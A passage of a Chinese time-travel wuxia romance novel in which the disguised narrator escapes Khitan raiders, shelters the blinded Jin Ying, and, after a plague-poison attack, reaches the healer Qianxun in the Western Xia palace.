哈哈,我不禁的笑了,瑚儿问我谁是沐风我笑而不言。她没有接着问,“其实,曹大哥西夏离京城不远,”忽悠谁呢?我可是学过历史,看过地图的,一点都不近。我心中低吼,但是,也许这就是我的方向吧!山谷幽幽,春花灿烂。瑚儿一边赏花一边骑马,很有走马观花的意味。路上我看到山上有一座新坟被鲜花覆盖着,不禁让我看了看冷岩,能忘记是快乐的,可是我们呢?我们都还记得,要怎么快乐无忧的生活下去。 一路向北,原本没有去路的我,不知道现在的方向是否正确。蝴蝶萦绕在花间,我跟随着瑚儿。我们不知道,继续向前将会揭开与结下长达百年的情丝,这关乎到过去的十几年、今后的几十年。宿命正在这条乱花迷眼的路的尽头等待着我,等待着我们! 半个月下来,我们终于赶到了大夏国边境。最近几天,路上遇到不少前来参观的武林人士,也有商人,这也是必然的。西夏地处丝绸之路的要道上,自古良驹都是来自波斯等西域国家,这盛会每年都有而且每每必会发起经济军事的一些改变。自西夏败于宋而称臣后,它与大宋保持着很平静的关系,这源于宋每年的岁赐,不仅让他们可以富裕的生活,更有利于抵御辽国的侵略。 天色已晚,我们决定先在境外的小村里休息明日在进王城。可是这里竟然没有客店,后来我们本想找一个民居,可是这个村子呀实在是太小了,家家户户虽然好客,可是是没有一家能容纳下我们四个人,无奈我们只好住在相邻的两家。瑚儿已经不再想着和我一起睡了,她带着冷语,而我和冷岩住在一起。这是个平静而特别的夜晚。 半夜里,忽然火光冲天,惊醒的我看看外面如同白昼一般,冷岩早已冲到了隔壁。我听到了哀嚎,喊杀声,但是却不是我懂得的语言。追随着冷岩,我到了外面见到的是无数手持弯刀,头戴皮帽的骑兵。听奔逃的百姓喊,他们是辽国流窜过来的强盗。契丹人,难怪如此彪悍,百姓在他们的刀下马下如同青烟般消散了。瑚儿此刻也被冷岩冷语带出来,火光中的她青丝凌乱,柔弱不胜春风,恰恰美的不可救药,这是致命的,因为激发了这些蛮人抢掠屠杀的欲望,更有无数契丹人向她奔来,“哈哈,如此绝色,我怎能放过。”一个好似头目的人用不太标准的汉语说着。随即,用契丹话喝令大批强盗涌到瑚儿那里。冷岩虽然身手高强,可是好虎敌不过一群狼,更何况还要保护两个没有武功的弱女子。 在这样冷兵器至上的时代,我的能力是可以忽略不计的,我看着四周的契丹人向我们聚过来,可是只有干着急。突然,冷岩将瑚儿推给了我,并在那群强盗的刀和马包围我们之前,将我们用掌力打了出去。高高的飞起,居然在很远的地方落了下来。顾不得疼痛和头晕,我拉着瑚儿就跑,往村外的山林里跑,前路越来越黑,可是我不敢停息。 因为树木生长得很浓密,所以仿佛将这座山隔成了好几个世界,契丹人的马蹄声,若近若远,终于听不到了。我们找到了一座几乎坍塌的寺庙里,这里看来荒废已久了,和土丘无异,若不是刚刚我撞到了这墙上,必定发现不了。接着微弱的月光,我们摸进去。 “呲”黑暗中一道火星从我胸前划过,接着一个黑影扑在我怀里。 41、“做我的眼睛” 破陋的窗里晒进的月光,反射着这人手中的短刀。刚刚正是它砍了我一刀,若不是我有纤云甲在身,一定死于非命了。这个人也因为用力过猛而失去重心倒在我怀里。 “放开我,”是个女孩子的声音,她推开我,却由于作用力摔倒在地上。终于,借着月光我看到了,这个女子,她一袭红衣,侧着脸对我,头发已经有些许凌乱,白皙的脸上覆着几道新鲜的细细的伤口,她紧紧的皱着眉,举着短刀对着我们,不停地质问:“你是谁,你要干什么”依旧倔强势,她就是曾与瑚儿争夺西湖花魁的番邦女子-----------金英。如今的她是那么无助,惶恐,因为我发现她已经失明了。 “金英”我拉着瑚儿,小心翼翼的走到她面前,“我们不是坏人,你们见过的,你们一起参见过西湖花魁的比赛,你们还不分胜负呢!”黑暗中我触碰到了她的手,冰冷至极。 “你们不是契丹狗”她将信将疑,但是总算是缓和了一些,可是她没有放开我的手,而是顺势将我拉过去,艳遇,她会不会因为惊吓而抱着我哭呢,当然不可能,迎接我的还是那柄短刀,架在我的脖子上,“你这个娘娘腔和她是什么关系,大晚上带着给姑娘家跑到荒郊野岭,你要干什么” 娘,娘娘腔?“你冷静一点,金姑娘,我们和你一样,被契丹强盗追杀。”我尽力平静的说,“我知道姑娘武功高强,但你。。现在看不到,我们应该互相帮助才能脱险” 瑚儿一直没有说话,她迷茫的看着金英,在想自己怎么认识她呢?见到我被挟持,她更没有轻举妄动。刀,终于渐渐地离开了我的咽喉。但是还没等我们说话,就被外面突如其来的,惊天的马蹄声震得不知所措了。 我忙到庙外看看,原来是那对契丹强盗跑到山上来了,此刻正奔着费庙来。现在跑出去是不可能的,他们那么多人必定不会全进庙来的,不如就躲在这里吧。我找到在佛祖像坐台后面有点空隙,刚好可以藏我们三人。刚刚躲进去,厅堂里就进来人了,我听到了女子哭泣声,还有两个说着别扭汉话的男人说“妈的,今天跑了两个美人,光是看着她们就让老子受不了了,先用你去去火吧!小绵羊,乖呦,”瞬间这个空间里充斥了,男人粗重的喘息声,一个姑娘凄惨的求救声,不忍听。 但是现在的我怎么办,我们三个没有能力救她,那个畜生口中的美人,正在我的身边。她们此刻和所有女子一样柔弱,而我也没有能力确保她们的安危。我只能用尽所有的力气,紧紧的抱着她们,怕她们害怕的叫出来,怕她们冲出去,而我也在颤抖。一个女人正在我们面前遭遇这不幸。我在我所生活的时代,是成年人,很多事在影视里还是可以接受的,但强迫女子仍然是该下地狱的罪恶,对于那个年代的女孩来说这种事,就是灾难性的。 “你这样可不行,一会你还得伺候我的兄弟们呢?”一句不堪入耳的话,这个姑娘的命运将走向毁灭。的确,我们纵然冲出去救她,外面那些剽悍的契丹人怎么办,都是羊入虎口,我倒是可以一死了之,因为大家眼里我是男人,她们呢?只有屈辱吗? 疼,我的双臂越来越痛,瑚儿和金英知道她们无能为力,但是同为女人,她们恐惧自责至深,她们狠狠的咬着我的手臂。瑚儿虽然用手捂着自己的耳朵,我看到她的泪水流淌下来。在佛像后面我们受着地狱之火的煎熬。 “不好了,大哥,西夏兵来了。我们快走”一个声音闯进来。“妈的,老子还没开始呢?”那个头领不爽的骂着,“你们先走,我一会追你们。”又是一阵震天的马蹄声,渐行渐远。 只有一个人了,也许可以救她脱险了。瑚儿和金英几乎同时冲了出去,瑚儿捡过一根木棒向那强盗打去。棒子断了,可是那个人还没动。“哈哈哈,你们两个原来在这,我青格运气不错。”唰,打飞了金英手中的短刀,揽她在怀里。“你的眼睛中毒看不见了,还犟什么呀,我有解药,你乖乖和我走吧!”金英用手肘打在他胸口,他竟脱手倒在地上,原来金英只要接触到对方就好动手了,可是一旦脱离就有不知怎么打到对方了。 那契丹人很快起来,蹑手蹑脚但是速度极快的踢向金英。“小心,”我一边叫着,一边跑过去拉过她“我们一起打退他,瑚儿你先扶那姑娘到旁边”那契丹人早已大怒,挥着短刀向我们砍来,我向我这边拉过金英“向右攻”金英会意的一脚踢在他右肋上。强盗头子,叫了一声,但是很快反攻。说时迟那时快,握紧金英的手,可是来不及了,我只有伸手抓住那短刀,血顺势溅在金英脸上,她马上一拳打中敌人的腹部,减弱了契丹人的劲力,这才使刀没有斩断我的手。我抓着正在被我的血融化的刀上,将滚热的刀身呼在那个人脸上,我的血只能融化金属,但是正在融化的金属却是如酸性液体一般,足以致命,这是澈儿告诉我的。 终于那个契丹人满脸是血向外跑。我们以为没事了,可是一阵刺耳的哨声响起。遭了他在叫援兵,西夏兵还没有到来,可是强盗还没走多远呀。我告诉瑚儿不要动,继续藏好。接着和金英出来,将那头目制住,让他不能再出声。可是那对强盗却折回来了。 很快我们被举着火把的马队围在中间。砍向我们得刀被金英躲过,顺势斩落了几个敌人。突然,那群人似乎意识到了什么,开始大声呼喊,弄得马也开始嘶鸣。我看看身边的金英,我想说话,但是马的嘶叫声吞没了我们的声音。她皱着眉,不断地转头,希望听到动向,可是喧嚣是她更为焦急。她的手越发冰冷了。一个人又挥刀下来,我只有用力的握了下她的手。她便挥刀阻击,虽然不能确定方向,但是她的刀法面面俱到,倒也砍中强盗。可终究是吃力的,敌人太多了。我们的组合能抵御多久呢!我对她可能既是依靠也是负担,想突围,根本不可能! “契丹流寇莫逞凶,速速受死”突然一声吼划破夜空,我看到一对骑兵从山下赶来。领头的居然是师傅,终于再见了,只是情况有些糟糕。那群契丹人确实是掉头就跑了。可是还没打算放过我和金英,非要杀了我们才解气。 一脚踢在我的腹部,所以今晚我第二次被起飞了。顾不得疼,因为我意识到我将落地的地点不太妙,按照趋势我向山下飞去,也许会粉身碎骨吧!“师傅,救寺里的人”,我的声音在飘忽,接着我就大头朝下的往山底坠。 但是我忘了一件事,我拉着金英的手没有松开,也许是害怕我竟然死死的握着她的手。我的心里好奇极了。黑夜里,我们坠向了更加黑的地方。“我不会死在这里”金英突然说了一些我听不懂的话,随后便像是发誓般的喊道这句话。说着,我感到她在用力拉我,瞬间我们的时空仿佛被放缓了。 “哟”我好像撞到了什么,是树,下意识的拉住了它。突然停止的动作并不顺利,金英却依然在下坠。我也被拖得往下滑动了些。最后只有左手抓着树,另一只手拉着金英。 “天色已晚,明日再找吧,我徒儿他也许可以逢凶化吉吧!”师傅的声音幽幽的从头顶传来。有没有人性呀!但是我已经没有多余的力气说话了。真真切切的听到马队离开的声音。 “放开吧”金英突然说。我终于想起了自己的疑惑,如果刚刚她甩开我的手,她就不会遭这难了,为什么,她没有放手。 “不,你刚刚也没有放开我的手,我也不放”我几乎是挤出了这句话。但是我的身体真是不给力,左手的刀伤在树的摩擦下,血不住的留着。 “放开吧,我们脚下就是地面了”金英极其冷静的说。果然,原来是山底的树呀,虚惊一场,不过我们也算逃过一死了! “啪,啪”到了地下,就有两个声音响起。原因?听我解释,我不会武功,你们是知道的。站不稳扑到她身上,在严重点就是顺手扯坏了她的衣服。她的动作也很干脆,给了我巴掌,然后夺走了我的外套。 赶快升起火堆取暖,我抱着双臂缩在一边,她倒是坦然。“娘娘腔,你还真的不像男人,没有力气”,金英不屑的说道,“你们中原人都是懦夫,没用” “你有用,武功高强,不也被人暗算了”啪,又是一根木棒打在我的头上。真是野蛮。 “走了,”说着她一脚踢起土熄灭了火,随便还扬了我脸土。 “去哪呀!”天一点点破晓了,我可以看到,她并没有走多远,而是站在前方等我一般, “中原懦夫,我们去王城赛马吧,那个宋帅也会去吧”听到我在她身边,“你刚刚表现勉强够格,现在开始做我的眼睛!”她命令一般对我说,而同时她又拉住了我的手,义无反顾的向王城走去。我本能的被她拉着,本来可以反抗和她在对付几句的,可是我发现她和以前不同了,她的手是暖的了。 好吧,暂时当你的眼睛。。。。。。 42、芊寻的宿敌 顺利的进了城,因为在山地里跑了一夜,我和金英宛如两个乞丐,灰头土脸、蓬头垢面,所幸也正是因为这样金英的美丽并没有成为我们的阻碍。清晨的雾气很重,粘在身上又湿又冷,迫使颠簸了一夜的我们此刻的感觉更加感饥寒交迫。找遍全身总算找了点碎银子,姑且先到小摊上休息一会,吃点东西。 “大宋现在算个屁,还天朝上国,我呸!昏君当世,奸臣当道。”坐在我们旁边桌的一位大叔们在骂着宋国,“可不是,一天天正事不管,就知道修道,名字改来改去,把公主改成帝姬,你说这国中无主,天下能长远吗,”另一位应和着,但是说到后半句他的声音压低了,“大宋呀!早晚得完” 看他们的穿着,竟也是宋人,难道对自己的国家如此失望吗?在我们的年代,他们也是资深愤青了。一边喝茶的我,只有选择沉默。 “啪”杯子落地,我眼前的镜头变得模糊而缓慢。大叔们倒下了,金英也倒在桌上,这是我最后记得的画面。杯具,我们刚刚出了虎穴,难道又入了狼窝。 被周围臭烘烘得气味熏醒了的我,立刻呛得止不住咳嗽。周围有很多人,大家挤在一个屋子里,弄得我快窒息了。幸好有个人把我拉了出来,但并不是脱离苦海。他将我抓到一个点着篝火的地方,我见到刚刚和我一起的大叔还有金英。金英躺在地上,微微的颤抖。我过去把金英扶起抱过来,她的身体好烫,“眼睛,你死哪去了?”她努力像维持平时的气场,但是她显然虚弱的很。 我忙环顾了下四周,这些人的发饰我没怎么见过,篝火的那边的椅子上坐着一个人,竟然穿着汉人服饰。只见他一挥手,一个人拿着刀片并在一旁的大缸里沾了点淡绿色的液体,向我走来,这是要接种疫苗吗?听老人说,以前的疫苗都是这样的,沾了药的刀片在身上划一下,体内就有了这种病毒!坑爹呢,谁信呀。 “中原懦夫,快跑”金英突然大喊,然后就痉挛起来,推着我,却让她倒在地上。但是很快我就被按住了,双臂被驾着跪在地上一动也不能动,只能眼睁睁的看着那片滴着淡绿色液体的刀向我靠近。 “慢着” 椅子上的人站起来。刀离我很近,我几乎感到液体啄食着我的胳膊。慢慢接近的男子站在我面前,深呼吸了一下,仿佛是一只野兽在嗅着自己的猎物,突然他拉起我的手,端详起来“这种蛊,在我的家乡都已经失传百年了,没想到今日能在这里得见。哈哈哈哈,”说着他看看我,我们的目光交汇在一起。他的眼睛是蓝色的,暗暗的墨兰色。“你的心上人,一定在哪里等你呢?”说着他示意手下的人放了我。 我看看右手的那道朱红色的疤,芊寻。 “黄先生,你怎么能放了他,相国答应你试验,但是不准这些人流到城中,你忘了吗?”刚刚站在椅子边上一位穿着戎装的人,过来质问那个蓝眼青年。 “当然没忘,”男子没有回头,但是,那个军官却突然跪在地上,脖子、脸上不知何时多了几只蝎子,是黑黄白相间的,甚是醒目好看。“我答应你的主子,帮他夺城,倒时无人生存不是最方便的嘛。哈哈哈,而且你别忘了你们的身份,”男子转身看着痛不欲生的军官说道,“你们是梁相国拨给我的死士,不是普通的下手,想活命的话,就乖乖听话呦。”说着他用食指在那汉子的眉心点了一下,蝎子就顺势从他的手爬回了他的身上,直至消失不见了。 那个将领把头深深的贴在地上,已是彻底的臣服。这个过程看得我身上冰到了极点。甚至会不住的打了冷颤。那个男子明明一直在微笑,为什么却像是来自深渊的召唤般,令人不寒而栗。 “跑,走,走。。。。。。。。。。。”金英在那里轻轻的呢喃着,衣服已经被汗打透了,而她的神智似乎也随着身体里的水分,渐渐丧失了。来不及多想,我搀起她就想往外走。 “哦,你要带着她,”那位蓝眸人的声音在我的身后响起,仿佛一只冰箭,刺得我像被冰封了一般矗立在原地,“她身上可是有了瘟毒的” 瘟疫,我知道它意味着死亡。高烧只会是个开始,她会被这种瘟毒折磨致死。此刻在我怀里的金英,是那么轻,那么安静,可是她的眉头还是皱着的,仿佛还要在命令我跑。也许现在的她什么也不知道了吧,但是她的手却紧紧的握着我的手,像是我们在山中一样。我微微用力,轻轻的握了握她的手,让她感觉到我的存在。这是我这辈子第一次看到,她的眉不再蹙着了。仿佛宁静的上古时代自盘古开天辟地之后,天地间第一朵雪莲在悄悄、净净的绽放着。 她信任我,我知道,虽然她很凶,但是她却把人世间难得的信任给了我,看着这个时而爆裂,时而冷艳的女孩儿,此刻我怎么能不管她。 “我要带她走,无论如何,我都不会放弃她”我再一次与那双蓝色的眸子对视。 “哈哈哈,请便吧。相信我们很快会见面了”他又坐回到椅子上,对着我们离去的背影说,“有机会我定要会会你的心上人,如果是她的话,也许可以和我斗一斗。哈哈哈哈哈”笑声渐远,我终于重见天日,晌午的阳光柔而不烈,但是它仍久久没有驱走我身上的寒气。 回头望去,原来我们刚刚是在一座废弃的宅院里。兜兜转转出了深巷。我拥着金英在街边的石阶上坐下,想着下一步怎么办。如果真的是瘟疫的话,芊寻解的了吗?但是芊寻,我该如何找到你呢?那双幽蓝的眼睛浮现在我的面前,为什么他会轻易的放过我们,难道是为了借我找到芊寻。他姓黄,难道他就是诚爷爷口中的,雪医一门的宿敌吗?那么我就不能连累芊寻,绝对不能! 正在犹豫的我听到了爆裂的声音,非常的微小,但是却近在耳边。不好,我赶快转向金英,谁知我肩膀的微微移动竟让她跌在我怀中。一瞬间,我被吓呆了,几乎忘了呼吸。她的脸,她那美丽的脸庞,如今仿佛千年的古树一般,裂成一块块的,鲜血从缝隙中渗出,乍一看,仿佛被剥了皮一般,鲜血淋淋,让我马上转过了脸,不忍再多看一眼。。。。 “眼睛,如果我死了,就”金英突然说话了,但是声音很轻,我赶忙低下头听,“就把我葬在一个有青山有奔马的地方,我不想回去,真的不想回到那里。”血依然不停地侵染着她曾经如玉的脸“到时在为我种几棵梅花,我来中原一直想看,结果什么看不到了,”血终于开始从她的口中流淌出来,她的声音越来越低了。 “金英是巾帼英雄,不会有事的”我本想哄她,可是我根本平复不了,最后竟是哭着说出来了。“傻瓜,你可别弄错了墓碑,我叫完颜晴”说完这句话,她就安静的睡去了。 “金英,不,完颜晴,别瞎想了,你不会死的,”看着她如此模样,我的泪竟夺眶而出,风轻抚而过,撩起她的头发,被血粘住贴到脸上,只听她轻轻的哼了一下。我忙我轻轻的托起她的头,用手拨开了那一缕被染红的青丝。她还活着,痛苦的活着。。。。。 我该怎么办,我的身上沾满了她的血,我的眼前鲜红一片,周围的路人开始聚拢过来,我感觉快要窒息了。我,芊寻你在哪里,我好害怕,芊寻,救救她,她快死了!芊寻。。。。。。。。。。。。。我不知是为了她还是为了什么,突然止不住的大哭起来。 “死不了,死不得”这是一个熟悉的男人的声音,对,是师傅。我抬起头,朦朦胧胧的一个人影。“师傅,救她”我哽咽着说。师傅却很从容的抱起她转身离开,“月儿,放心她不会有事,天命如此,”说着,他回头示意我跟上“走吧,芊寻她们在等你呢!” 兜兜转转,竟然跟着师傅进了西夏王宫。在一座不太华丽的庭院里,我见到了芊寻。当时她正匆忙的从一个房间里走出来,依然一袭雪白,只是脸上带了一块白色面纱。午后的阳光铺进庭院,又一次让我看到了沐浴阳光而生的她。我的心似乎不在慌乱了,突然周围的一切都悄无声息,我静静的看着她,恍如隔世。 等我意识到时,她已经拥抱住了我,手中的药碗早已弃之一旁。很舒心的感觉,是家的感觉。但是,我还没来的及抱紧她,师傅就忙喊道“芊寻快来看看这位姑娘,她的症状与其他人不同”。又一次,我们被剥离开了。 芊寻用手轻轻的托起完颜晴的脸,微微皱了眉,“看来他又有进步了,”说着她拿出了银针,为完颜晴施针,终于她的血不再流了。芊寻输了口气,我刚要上前,芊寻擦擦额头上的汗,“我得去煎药了,月儿你先回房”没有时间了,她不得不与死神抢时间。临走前还为我戴好了面巾,以防感染。 我被冷语带到一个房间里,因为懂一点医理知识,她也在帮忙。我本想细问什么,却见她也匆匆离去。“曹大哥,你回来了,”望着冷语出去的门口发呆的我突然被惊醒。瑚儿已带着面纱提着桶跑了进来。见她提的如此踉跄,我赶快帮忙拿过来。“这是干嘛呀”我问满头大汗的瑚儿。“给你洗澡用的,看你弄得像只泥猴子,”我一撇镜子果然不可恭维,“那我自己来吧,”我忙不好意思的说。可是瑚儿已经在脱我的衣服了,“无妨,她们说怕我感染瘟疫,一直把我关在屋子里,我也帮不了别人,来,我帮你吧” 转眼我已经露出了纤云甲,我赶快制止她,就这样拉拉扯扯的很是暧昧。 “月儿,先吃药吧”是芊寻,她快步走进来。“宋小姐,冷语找你用饭呢,我来照顾谦月吧!”瑚儿向我们点点头,“还是芊寻姐照顾他好,我先走了”说着向我们笑笑,跳出了门。 “这孩子,这两天无聊坏她了”芊寻把碗递给我,“来,先喝了它,预防一下”我乖乖的饮尽,依旧是茉莉香飘。我终于有空好好地看看芊寻了,她的白皙面容更加苍白憔悴,想必为了这瘟毒她已经费了不少神。想着,芊寻将我的衣服尽数脱下,连纤云甲也解开了,然后让我进到大木浴盆里。温温的水淹没了我,芊寻在一旁轻轻的用手将水淋到肩上,轻柔舒适。“你也累了”我转过身看着芊寻,“一起洗呀”说着轻轻将她拉入水中,水花几乎没有变化,渐渐地雾气将我们包围。。。。。。 “月儿,你手臂上的伤,是怎么了”她一说,我不禁看了看,哦,不正是在庙里是瑚儿和完颜晴咬得嘛,如今已成了两个深红的椭圆,不偏不倚的在两只胳膊上。 “哦,不行,我也要留一个印记,不然你早晚会跑掉的”芊寻说着丹唇轻启,向我脖子靠近,芊寻,难道你要学习吸血鬼吗?我感到了她炽热的呼吸一点点融化着我。。。 但是并没有咬下去,芊寻的呼吸变得均匀轻缓,她轻轻的停留在我的肩头。我笑了,将已经睡着的她拥在怀里。不知过了多久,我将她抱到床上,望着她的睡脸,我无法离去,唯有拥着她躺下。芊寻,你很累吧!为了我,你和师傅来到这里,这阵子,辛苦你了。你想念我了吗? 我心里说着话,手在空中勾画着她美丽的脸庞的轮廓,却怕惊醒她。心中突然涌起了很多感情,复杂苦涩。 如果时间能够停留,“谦月”将永远和芊寻在一起。。。。。。。 但是我和芊寻之间却永远都有着一层纱,我越来越迷失自己的心了。是我在思念你吗,芊寻?还是我们的心在蛊惑着我呢?也许,这一生我们的阻碍太多了。。。 “我不要你们管,”正在我怀抱着芊寻渐渐入睡时,一声声摔东西的声音从隔壁传来,幸好芊寻因为疲惫睡得很沉,没有被吵醒,但我必须赶快更衣前去,完颜晴撕心裂肺的呼喊再一次将夜空的宁静划破。。。。。。。 43、第一次承诺&第一次敌意 “唰”一个杯子向我飞来,算是完颜晴对我的欢迎。 “怎么了”我忙走进去问,瑚儿等人站在屋内,与所有人呈对峙状态的是不停以扔东西来驱逐我们的完颜晴。 “你。。。”完颜晴听出是我,停止了攻击,突然冲过来抓住了我的手,“我的脸,怎么会变成这样,我会一辈子这样吗?” “当然不会,如果你不老老实实的,万一控制不住了毒性,你就没什么一辈子可谈了”芊寻的声音从门口传来,异常的冰冷,如果不是亲眼看到这声音是从芊寻的口中说出,我真的不相信一向慈悲的她会说这样的话,芊寻披着银白色的衣服站在每口,宛如一块寒玉雕琢的神像,让人不敢靠近。 “喝我调的药,你的脸立刻就会恢复,至于你身上的毒,还得经过尝试” “想让我做你的实验品吗?”完颜晴忽然冷静起来,与芊寻对峙起来。 “喝了它,有三成的机会。过了今晚,你的脸就一辈子都好不了;当然还有另外七成可能,会死,”芊寻走进来,用仅存的几个茶具,倒了水化开了一些药粉,然后重重的放在桌上。“喝不喝随你,无论你是死是活都可以帮我进一步了解这种毒”。说完芊寻就转身离开“总之,死马当活马医,月儿我们回房吧”芊寻在门口停下,转过身等我过去,目光是那么轻柔,但是却让我感到陌生。 “死马,好”完颜晴的语气依然更加冷静,可是手却下意识的紧握了我一下。“中原懦夫,我如果死了,我嘱托你的,别忘了”说着她对我笑笑,此时她的脸是褐色的,几乎掩盖了她的笑容,也盖住了她眼中隐隐闪现的泪水。 “我陪她一会吧”我突然鼓起勇气说,芊寻愣了一下,但是随即转身离开。瑚儿也在冷岩冷语的陪同下回房了。如今这屋里只有我和完颜晴还有凌乱的一片。我想她一个外族女孩,身边没有亲人,又中了瘟疫之毒。如果芊寻要救城里的人,她们注定要成为试验品的。也许,她真的会死的,那么我能为她做的只有多陪伴她一会儿,让她能不那么孤单。不知为什么我觉得我们有一点点相似。。。。。。 “我喝不喝?”完颜晴握着杯子,轻轻的问。容颜,对女人很重要,尤其是美丽的女人,她一定很在乎自己的脸吧。可是这个赌注太大了,我也不知道该支持她做什么,是保住容颜,还是等待痊愈? “你会在意吗?”声音竟是如春风的温柔,似乎她还是第一此如此和我讲话。“如果我是你的。。”她顿了顿,“是你的妻子,我如果一直是这个样子,你,还会爱我吗?”说着她静静的坐下,把玩着瓷杯。 “我希望她活着,只要还能在一起,无论怎么样都可以。”我沉默了良久,才吐出这样的话。我也是女人,当然想让自己可以永远美丽,但是我们需要爱人的珍惜,不管自己变成什么都能被好好珍爱着,所以我希望找到的男人,可以不顾容颜的改变和我相守。我现在是“男人”,必须懂得好好宝贵女人,让她们好好活着。 “呵呵,如果真是那样就好了,所有男人都像你。我死也无憾了。”完颜晴叹了口气。月光,在她溃烂的脸上撒上了无尽的悲伤与落寞。 “如果你想等些时日,也好,到时芊寻一定能想出两全其美的办法。”我定睛看着她,“我,相信芊寻。而你要相信我们。”即使她看不到,但是我希望她能感到我心中的坚定。 “可惜,我的身边没有这种人,没有这张脸,我和我的亲人都活不成。”突然她举起杯,“我相信你,也相信你的芊寻,更相信她决不会让我死在你面前”一饮而尽。 突然她像喝醉了一般,卧在桌上。 她伏在桌上开始微微的颤抖,渐渐地,便一动也不动。我有点担心,想扶起她看看,但是手却被火灼烧了一般,我所触及到的身体是炙热无比的,仿佛要被融化了。难道解药不行,我拉下袖子抱起她一边往外走,一边欲张口向芊寻呼救,可是却有一只手指敷在了我的唇上。 转瞬之间,它便离开了,唯有一丝清香,将我引向了她的主人,我怀中的人,随着脸上像是泥土一样的疤疥的剥落,那颠倒众生的容颜,终于再一次福泽人间。此时的完颜晴,轻轻的依偎在我怀里,额头的发,被汗水沁润,微微的有些卷曲,安静的贴在她额前。她的眼因为还未痊愈依然紧闭着,反而,让她焕发出一种神圣而温柔的光芒,刹那间,月亮怎么也失色了。 “你的脸恢复了,”我赶快将她放下,扶着她的双肩,定睛观赏,“没事了,真的,芊寻做到了,芊。。。。。。”又一次,她的纤手敷住了我的嘴。“傻小子,有艳福都不享”随即笑了,魅惑众生。我们的脸贴的很近,幸好她没有张开眼,不然我一定会害羞的要死。但是我必须脱离这种暧昧的境地,因为,一切都太突然,突然道根本没有理由开始。。。。。。 慌乱的扶她到床上躺下,然后一边和她说着话、一边简单的收拾着屋子,以防晚些时候一地的碎瓷片伤到她。她听到我的声音飘远,也摸索了过来,俯下身,眼见她将被刺伤,我忙抓住了她的手,“就怕你这样伤着,你先去坐会儿,我弄好在陪你聊天。”完颜晴停了手,却没有起身而是蹲在我的旁边,静静地抱着双膝,聆听着我的动作。 “从今以后我允许你,如果有什么我没意识到的危险,你也可以握紧我的手,算是提示我。”突然冒出这样句,像是恩准似的语气、但更像是要和我约定着什么。 我抓过她的手,在她的手心写下:ok! “你在我手心乱画什么呀,有话说呀,”她貌似着急的说,但是手却没有离开。 我真是昏了,转而写下:遵命!她依然不解。“你说就好了。” “天残地缺呗”我笑着说,“当你看不到,我也不能说或是来不及说时,我会拉住你,用这样的方式我们也可以交流。”我自以为得意的说。但是她接下来的话,打碎了我的如意算盘,而且,也变成了我对她的冥冥中的约定。 “可是,我根本不就知道你写的是什么,我又不太认识汉字。”她有些生气的说。我比她惊奇得多,这可是和瑚儿文采不相上下的佳人呀,怎么会是半文盲呢?我追问,“你琴棋书画那么棒,怎么会不识字呢?” “这个呀!说来话长”完颜晴,轻轻的站起来,许是腿有些麻了,身体有些摇晃,我赶快扶着她回到床边,我也干脆坐下来听她讲故事。 “谁叫他们考的是风流艳词呢?对于汉字,我只会梁元帝的诗词。小时候我有个阿姨会汉文化,我们家乡其实是很少有汉字书的,偏偏不知在哪拣到了他的书,阿姨就教我认识写字,我无聊时,就背,时间久了自然能写。至于画画,我其实从来没学过,不过是看其他人画,我也跟着画,最后把她们的画到一起。” “那音律呢?”我好奇的脱口而出。 “我在草原长大,那里没什么好玩的,谁家孩子不会点牧笛,胡琴什么的,早闷死了” 听着她轻描淡写的说着她是如何成为西湖小姐,我真是被震撼到了,她是得有多聪明呀,诗词是背出的,画画现学的。 “眼睛,你叫什么,汉字怎么写,我想知道”她虽然看不见,但还是突然转向我。 “我?我叫曹”我突然迟疑了,我到底该是谁呢?在这里转眼已有数月了,我,已经渐渐忘却了我曾经是谁,倪飞不再是我的名字了吗。这里的一切让我成为曹谦月,爱谦月的人,需要她存在的人,我的周围都是谦月的影子。我只能是她吗?会有人知道我的存在吗?我不想消失。 最后,我将”倪飞”这两个字缓缓的写在她的掌心。 “恩?”她皱皱了眉,很认真的在感受,“这是兜?” “倪”我笑着说。 “后面的呢?”遭了,我不太会写繁体字,我的文化真是和她差不多,也许还不如她。 “是倪飞!这是我的小名,大家也都叫我谦月,你喜欢哪个就叫哪个。对了”我转开话题对她说,“你其实是喜欢汉族文化吧?你现在好好养病,等你眼睛好了,我在教你些,虽然,对于现在的知识我也不太会,呵呵”我觉得现在离开让她早点休息对她对我都有好处,还是赶快告别为好。临走时,我突然觉得还应该说点什么,于是郑重的说“虽然,芊寻的话有点冷漠,但是你可以相信她,她是很温柔的人,一定会尽心尽力救你”。可是这话不知道她听见没有,虽然她看似轻松,但是在刚刚药力的作用下,想必也消磨了她太多的体力。因为在我出门时,就已经听到了她的呼吸变得平缓,睡熟了。。。。。 夜很深了,我独自徘徊在园中,恍恍惚惚之间,我突然想不起自己是谁,又该去哪里。坐在冰冷的石凳上,我唯有看着月亮,它在乌云里时隐时现,让我想起了更加乱我心神的人和事。 “云笼婵娟月难明,世传精忠永赤诚。谁料此生两登科,亡国安邦。。。。。。”仿佛是从天际传来,这些话幽幽的飘入我的耳朵。又是梦吗? “月儿,怎么还没休息?”一回头,看见师傅优哉游哉的走过来。据说为了解决危机,他也有几夜没睡了,但是他依然红光满面。怎么这个中年大叔,精力这么好呢?“师傅也是,难得事情有点眉目了怎么不好好休息休息呢?”我认真的问。 可是他似乎没有打算马上回答我的话。 “正好为师送你一份礼物”说着只见一道银光闪过,我感到右臂一阵刺痛。撩起衣袖,毫无痕迹,唯有一阵阵热流涌进,涨的右臂有些酸痛。 “为师一直迷迷糊糊的度日,难得清醒,自然不想睡。何况今晚夜色,月色都这麽美!”说着师傅坐到我身边,将肩上一直背着的布袋取下来放到石桌上,吸引了我的注意,我没有追问刚刚的事,因为师傅是不会害我的。 师傅叫布袋和尚,一定是得名于这个东东。不知有何玄机? “月儿!”师傅打断了我的好奇,“你中意这破布袋?” “只是好奇”我马上转移了目光,好像是幼稚的孩子不想被人看穿。 “这里也没什么,就是些,让人又爱又恨的东西。。。”师傅的话音未落,就有一个黑影从墙上扑下来,倒在园中央。 我和师傅忙走过去查看,谁料他突然从怀里取出一支信号桶,很快天上就出现了一朵红色的烟花,照亮了夜空,惊得所有人都跑出来。然后他开始大呼,“我是传信的,我的主子,想与善于解毒之人切磋医术。倘若汝等来,就将最新的瘟毒投放城中。至于比试的时间地点,在下就是。”接着就气绝身亡。 我们面面相觑,知道事情已经到了白热化的阶段,可是却完全不理解这其中奥妙。何时何地去赴那场死亡的约会的呢? 跑到黑衣人身边的芊寻俯身查看了下他之后,就转向我们。 “大家先去休息吧!”随即她走到跟前,将身上的斗篷转披在我身上,“月儿放心,事情明天就会解决了” 